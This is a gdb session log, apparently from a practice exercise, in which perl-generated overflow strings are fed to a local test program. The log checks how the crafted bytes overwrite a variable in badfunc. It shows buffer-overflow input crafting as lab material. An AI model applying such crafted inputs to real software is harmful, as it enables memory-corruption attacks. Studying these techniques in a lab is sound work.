(gdb) run `perl -e 'print "A"x16 . "\x02" . "\xfe" . "\xff"x255'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ninjachrist/test `perl -e 'print "A"x16 . "\x02" . "\xfe" . "\xff"x255'` Breakpoint 1, badfunc (data=0xbfb109c2 'A' , "\002þ", 'ÿ' ..., size=273) at test.c:9 9 printf("buf[]: %s.\n",buf); (gdb) x /1xw &i 0xbfb0f2b0: 0x00010000 (gdb) p i $6 = 65536 (gdb) run `perl -e 'print "A"x16 . "\x02" . "\xfd" . "\xff"x255 . "\xff"x65536'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ninjachrist/test `perl -e 'print "A"x16 . "\x02" . "\xfd" . "\xff"x255 . "\xff"x65536'` Breakpoint 1, badfunc (data=0xbfc7b9c2 'A' , "\002ý", 'ÿ' ..., size=65809) at test.c:9 9 printf("buf[]: %s.\n",buf); (gdb) p i $8 = 16777216 (gdb) x /1xw &i 0xbfc7a430: 0x01000000